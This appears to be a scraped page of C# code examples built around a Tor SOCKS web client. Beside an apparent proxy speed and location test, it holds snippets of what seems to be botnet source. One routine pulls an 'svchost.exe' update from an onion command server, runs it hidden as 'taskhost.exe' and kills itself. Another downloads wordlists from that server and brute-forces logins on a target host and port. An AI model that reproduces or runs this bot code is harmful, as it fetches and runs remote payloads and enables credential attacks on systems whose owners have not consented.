public static SocksWebClient getWebClient()
        {
            SocksWebClient wc = new SocksWebClient();
            wc.ProxyDetails = new ProxyDeets();
            wc.ProxyDetails.FullProxyAddress = "127.0.0.1:9050";
            wc.ProxyDetails.ProxyAddress = "127.0.0.1";
            wc.ProxyDetails.ProxyPort = 9050;
            wc.ProxyDetails.ProxyType = ProxyType.Socks;

            return wc;
        }
        public static SocksWebClient getWebClient()
        {
            SocksWebClient wc = new SocksWebClient();

            wc.ProxyDetails = new ProxyDeets();
            wc.ProxyDetails.FullProxyAddress = "127.0.0.1:9050";
            wc.ProxyDetails.ProxyAddress     = "127.0.0.1";
            wc.ProxyDetails.ProxyPort        = 9050;
            wc.ProxyDetails.ProxyType        = ProxyType.Socks;

            return(wc);
        }
Exemplo n.º 3
0
        private void GetIPAddress(int svc, out string addr, out string stat, out float speed)
        {
            var currentIndex = controller.GetCurrentConfiguration().index;

            controller.SelectServerIndex(svc);
            var webClient = new SocksWebClient {
                ProxyDetails = new ProxyDetails(controller.GetCurrentConfiguration().localPort)
            };

            try
            {
                //get location
                var regx1    = new Regex(@"\d+\.\d+\.\d+\.\d+");
                var regx2    = new Regex(@"来自:(.*?)\<");
                var response = webClient.DownloadString(@"http://1111.ip138.com/ic.asp");

                var mc1 = regx1.Match(response);
                addr = mc1.Success ? mc1.Value : "Unknow";

                var mc2 = regx2.Match(response);
                stat = mc2.Success ? mc2.Groups[1].Value : "…(⊙_⊙;)…";
            }
            catch
            {
                addr = "Unknow";
                stat = "…(⊙_⊙;)…";
            }

            try
            {
                //speed test
                var sw = System.Diagnostics.Stopwatch.StartNew();
                var dl = webClient.DownloadData("https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B7B1E2CBF-95F1-5FDD-C836-E5930E3E51CD%7D%26lang%3Den%26browser%3D4%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26installdataindex%3Ddefaultbrowser/update2/installers/ChromeSetup.exe"); //http://dl.google.com/googletalk/googletalk-setup.exe
                sw.Stop();
                var len = dl.Length / 1024f;
                var sec = sw.Elapsed.Milliseconds / 1000f;
                speed = len / sec;
            }
            catch
            {
                speed = 0;
            }
            finally
            {
                webClient.Dispose();
                controller.SelectServerIndex(currentIndex);
            }
        }
Exemplo n.º 4
0
        public void Start()
        {
            System.Threading.Thread.Sleep(120000);

            SocksWebClient wc = WebclientFactory.getWebClient();

            try
            {
                string updates = wc.DownloadString(FluxGlobal.sOnion + "api/bots/update.php");

                double dAvailable = double.Parse(updates);

                if (dAvailable > FluxGlobal.dVersion)
                {
                    try
                    {
                        wc.DownloadFile(FluxGlobal.sOnion + "api/bots/svchost.exe", FluxGlobal.sInstallDirectory + "\\taskhost.exe");

                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        p.StartInfo = new System.Diagnostics.ProcessStartInfo(FluxGlobal.sInstallDirectory + "\\taskhost.exe");
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.CreateNoWindow  = true;
                        p.StartInfo.WindowStyle     = System.Diagnostics.ProcessWindowStyle.Hidden;
                        p.Start();

                        System.Diagnostics.Process.GetCurrentProcess().Kill();
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
        public void startDictionary()
        {
            bool bFireFailed = true;

            string sDictionaryPath = System.Windows.Forms.Application.StartupPath + "\\dicts\\";

            if (System.IO.Directory.Exists(sDictionaryPath) == false)
            {
                System.IO.Directory.CreateDirectory(sDictionaryPath);
            }

            if (System.IO.File.Exists(sDictionaryPath + sDictionaryName + ".dic") == false)
            {
                SocksWebClient wc = WebclientFactory.getWebClient();
                wc.DownloadFile(FluxGlobal.sOnion + "api/bots/fetchresource.php?type=dict&name=" + sDictionaryName + ".dic", sDictionaryPath + sDictionaryName + ".dic");
            }

            System.IO.StreamReader sr = System.IO.File.OpenText(sDictionaryPath + sDictionaryName + ".dic");
            bool bAdd = false;

            while (sr.Peek() >= 0)
            {
                string word = sr.ReadLine();

                if (word.StartsWith(sDictionaryStart))
                {
                    bAdd = true;
                }

                if (bAdd == true)
                {
                    alDictionaryQueue.Add(word);
                }

                CPUThrottle.ThrottleCPU();

                if (word.StartsWith(sDictionaryStop))
                {
                    break;
                }
            }
            sr.Close();

            double dAvgResponseTime = 0.0;

            while (alDictionaryQueue.Count > 0)
            {
                string word = alDictionaryQueue[0].ToString();
                alDictionaryQueue.RemoveAt(0);

                DateTime dtStart  = DateTime.Now;
                object[] bSuccess = ((BruteForceEnginePlugin)pluginClassObject).Attack(sPluginTargetHost, iPluginTargetPort, sPluginTargetVersion, word);
                DateTime dtStop   = DateTime.Now;

                TimeSpan ts = dtStop.Subtract(dtStart);

                fireResponseTime(ewObject.iThreadID, ts.TotalSeconds, sPluginTargetHost);

                if (bSuccess[0] != null)
                {
                    if ((bool)bSuccess[0] == false)
                    {
                        fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]);
                        bFireFailed = false;
                        break;
                    }

                    if ((bool)bSuccess[0] == true)
                    {
                        fireSuccess(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]);
                        bFireFailed = false;
                        break;
                    }
                }

                CPUThrottle.ThrottleCPU();
                NetworkThrottle.ThrottleNetwork();
            }

            if (bFireFailed == true)
            {
                fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, "exhausted");
            }
        }
 public static void Initialize()
 {
     wc = WebclientFactory.getMicroWebclient();
     swc = WebclientFactory.getWebClient();
 }
Exemplo n.º 7
0
 public static void Initialize()
 {
     wc  = WebclientFactory.getMicroWebclient();
     swc = WebclientFactory.getWebClient();
 }